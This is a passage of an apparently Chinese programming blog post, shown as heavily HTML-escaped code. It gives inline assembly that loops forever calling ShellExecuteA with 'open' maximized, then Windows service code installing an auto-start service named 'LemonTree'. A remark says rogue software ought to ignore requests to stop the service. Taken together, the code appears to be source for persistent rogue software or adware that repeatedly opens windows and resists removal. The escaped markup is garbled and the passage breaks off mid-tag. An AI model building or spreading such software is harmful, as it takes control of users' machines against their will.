#000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lea&amp;nbsp;eax,&amp;nbsp;[esp]&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;eax&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;h_kernel&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp;GetProcAddress&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;MySleep,&amp;nbsp;eax&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;6&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp;esp&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp;eax&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;while&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;eax&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;esp&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;ecx&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;ebx&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;o&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;p&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;2&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;e&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;3&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;4&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;''&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lea&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ebx,&amp;nbsp;[esp]&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;SW_SHOWMAXIMIZED&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;func_args&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ecx,&amp;nbsp;func_args&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ecx,&amp;nbsp;200h&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lea&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax,&amp;nbsp;[ecx]&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;eax&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;ebx&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp;MyShellExecuteA&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp;ebx&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ecx&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;sleep_time&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp;MySleep&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;}&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;      这个是控制服务的，正常的服务程序都有的代码，流氓软件应该不接受停止服务请求。 &lt;br /&gt;&lt;div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 11px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 430px; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee; overflow: auto;"&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;全局变量&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;L"LemonTree"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_DESCRIPTION&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;L"LemonTree"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_DISPLAY_NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;L"LemonTree"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;SERVICE_STATUS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus;&lt;br&gt;SERVICE_STATUS_HANDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hServiceStatus;&lt;br&gt;&lt;br&gt;BOOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServiceInstall(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;安装服务&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;BOOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServiceUnstall(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;删除服务&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServiceControl(&amp;nbsp;DWORD&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;控制服务&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;BOOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServiceExists(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;判断服务是否存在&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;**********************************************************************************&lt;br&gt;*&amp;nbsp;安装服务&lt;br&gt;*&amp;nbsp;参数：主程序全路径&lt;br&gt;*&amp;nbsp;返回：成功返回TRUE，否则为FALSE&lt;br&gt;**********************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;BOOL&amp;nbsp;ServiceInstall(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;exeFilePath&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmpPath[MAX_PATH]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HKEY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;key;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SC_HANDLE&amp;nbsp;serviceMangerHandle&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;OpenSCManager(&amp;nbsp;NULL,&amp;nbsp;NULL,&amp;nbsp;SC_MANAGER_CREATE_SERVICE&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;serviceMangerHandle&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Install:&amp;nbsp;Open&amp;nbsp;services&amp;nbsp;manager&amp;nbsp;database&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SC_HANDLE&amp;nbsp;serviceHandle&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;CreateService&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceMangerHandle&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_NAME&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_DISPLAY_NAME&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_ALL_ACCESS&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_WIN32_OWN_PROCESS&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_AUTO_START&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_ERROR_NORMAL&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exeFilePath&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NULL&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NULL&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NULL&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NULL&amp;nbsp;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NULL&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;serviceHandle&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Create&amp;nbsp;service&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: 